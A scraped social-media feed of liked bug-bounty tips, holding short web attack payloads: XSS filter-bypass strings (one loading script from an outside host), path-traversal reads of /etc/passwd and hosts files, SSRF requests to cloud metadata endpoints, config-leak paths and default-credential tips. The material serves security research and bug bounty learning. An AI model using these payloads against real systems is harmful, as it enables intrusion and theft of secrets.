cmx @Clim4xog

Joined February 2022

Tweets

80
Followers

43
Following

929
Likes

4

Het Mehta @hetmehtaa

4 months ago

Top 8 MCP servers for cybersecurity: 1. Wiz MCP Server — cloud security 🔗 lnkd.in/gqYNzzRZ 2. Cloudflare MCP Server — Infrastructure and security 🔗 lnkd.in/gRNY5pkZ 3. PortSwigger MCP Server — Webapp security testing 🔗 lnkd.in/gcD83ftM 4. GitHub MCP…

3 182 644 30K 717

Sina @_SecurityAttack

9 months ago

Race Condition + Host Header Injection + Redis(Cache)= Zero Click XSS The first attempts were not successful and the reflect was not observed, but using the RACE, I saw that my sampler is displayed for the rest of the users 🫥 I will publish it after permission. #BugBounty

8 39 410 24K 223

Download Video

𝕏 Bug Bounty Writeups 𝕏 @bountywriteups

11 months ago

🚀 Sensitive data leakage using .json Here’s a tip to achieve sensitive data leak using .json extension. Notice the added .json extension in our request which resulted in obtaining the secret token! #bugbounty #bugbountytips #bugbountytip #hackerone #bugcrowd #infosec…

1 28 179 7K 98

Download Image

HackGit @hack_git

2 years ago

Nuclei Bug Hunter I will upload more #nuclei templates that help bug bounty Hunters. github.com/ayadim/Nuclei-… #infosec #pentesting #bugbounty

0 49 157 12K 80

Download Image

𝕏 Bug Bounty Writeups 𝕏 @bountywriteups

a year ago

How i am hunting for phpmyadmin logins:- nuclei -l live-subs.txt -t nuclei-templates/http/exposed-panels/phpmyadmin-panel.yaml ## Then :- - Test for default creds : root & password,..etc - Fuzzing - Test SQLi - Response Manipulation #bugbountytips #cybersecurity #Security…

0 47 180 16K 144

Download Image

Godfather Orwa 🇯🇴 @GodfatherOrwa

3 years ago

#BugBountytip #BugBountytips i found phpmyadmin template on nuclei phpmyadmin-setup.yaml next step edit that template for /admin/ template endpoint was [/pma/setup/index.php] i found 2 on [/admin/pma/setup/index.php] happy hunting ♥ #BugBounty

24 123 645 57K 223

Download Image

Ravindra Lakhara🇮🇳 @RootxRavi

3 years ago

Easy P1 😀 #bugbountytips #bugbounty Endpoint /elmah /ELMAH or you can use the below Template to find out the issue github.com/projectdiscove…

6 55 255 19K 106

Download Image

JS0N Haddix @Jhaddix

2 years ago

Bug bounty hunters: want a #bugbountytip on finding the right public programs to participate in? 1️⃣ Look at some of the more successful bounty hunter's profiles (if they are public) 2️⃣ Scroll down to their most awarded or participated in. 3️⃣ Hack those. There's vulns there.

3 39 217 35K 73

Download Image

Godfather Orwa 🇯🇴 @GodfatherOrwa

a year ago

95% from hunters remove pics from endpoint my steps gathering all target endpoints filter the results just for pic extensions (cat endpoints.txt | egrep 'jpg|jpeg|png' > results.txt) filter to live send results for screenshot tool 1/2 #bugbountytips #bugbountytip #bugbounty

30 134 784 48K 549

Download Image

Godfather Orwa 🇯🇴 @GodfatherOrwa

3 years ago

url/?f=etc/passwd ==> 403 encode etc/passwd as base64 url/?f=L2V0Yy9wYXNzd2Q= ==> 200 #note you can use this trick in SQL , SSTI , XSS , LFI , Etc... #bugbountytips #bugbountytip

42 415 1K 86K 501

Download Image

Ali @111xNagashy

a year ago

Tip : 1-Site firstsub.exambe.com 2-Add first subdomain in first directory .sql.gz like firstsub.examble.com/firstsub.sql.gz Severity depending on content of files most of time is (Critical) #bugbountytip #bugbountytips #bugbounty #hackerone #bugcrowd #h1

1 52 307 11K 213

Download Image

𝕏 Bug Bounty Writeups 𝕏 @bountywriteups

a year ago

🚨 Bug Bounty hunting - Udemy Couse 🚨 Source : drive.google.com/drive/folders/… #bugbounty #bugbountytips #bugbountytip #hackerone #bugcrowd #infosec #cybersecurity #pentesting #redteam #informationsecurity #securitycipher #technology #coding #code #recon #ai #llm #owasp

0 35 153 17K 170

Download Image

bugcrowd @Bugcrowd

2 years ago

If you had to choose 3 recon tools for your next bug hunt, what would they be?

36 20 175 38K 156

Brute Logic @BRuteLogic

2 years ago

#XSS WAF #Bypass Akamai JSi ';k='e'%0Atop['al'+k+'rt'](1)// CloudFlare HTMLi <Img Src=OnXSS OnError=alert(1)> Imperva HTMLi <Img Src=//X55.is OnLoad%0C=import(Src)> Don't learn to hack, #hack2learn. 😎 Developed for knoxss.me State of the art in XSS testing.

2 86 314 21K 191

RootMoksha Labs @RootMoksha

2 years ago

#XSS WAF #Bypass Akamai JSi ';k='e'%0Atop['al'+k+'rt'](1)// CloudFlare HTMLi <Img Src=OnXSS OnError=alert(1)> Imperva HTMLi <Img Src=//X55.is OnLoad%0C=import(Src)> By:@BRuteLogic #bugbountytips #bugbounty

0 45 169 7K 80

Godfather Orwa 🇯🇴 @GodfatherOrwa

2 years ago

that was very quick and amazing LFI .... filePath=../../../../../../../../../../../../../../windows/system32/drivers/etc/hosts #Bugbounty

25 194 954 76K 382

Download Image

Intigriti @intigriti

2 years ago

You did quick subdomain enumeration, filtered all live hosts Screenshotted every URL... and you came across this form 🧐️ What are you trying next? 🤔️

16 9 94 20K 41

Download Image

VAIDIK PANDYA @h4x0r_fr34k

2 years ago

Day 4/7 : SSRF Payload for Technologies: Oracle http://192.0.0.192/latest/ http://192.0.0.192/latest/user-data/ http://192.0.0.192/latest/meta-data http://192.0.0.192/latest/attributes/ Alibaba http://100.100.100.200/latest/meta-data/…

3 71 264 17K 210

Karim Habeeb @NoRed0x

2 years ago

If you find Web frameworks like Symfony, add '/app_dev.php/_profiler/open?file=app/config/parameters.yml' to the wordlist, and you may get juicy data. Enjoy!" #bugbountytips #bugbountytip #cybersecurity #ethicalhacking

4 94 375 23K 277

Download Image

RootDr @R00TDR

2 years ago

Tip for Stored XSS Bypass on Profile Uploader: +add magic number (jpg , jpeg) +bypass file extention Protection #BugBounty #BugBountytips #BugBountytip #Pentesting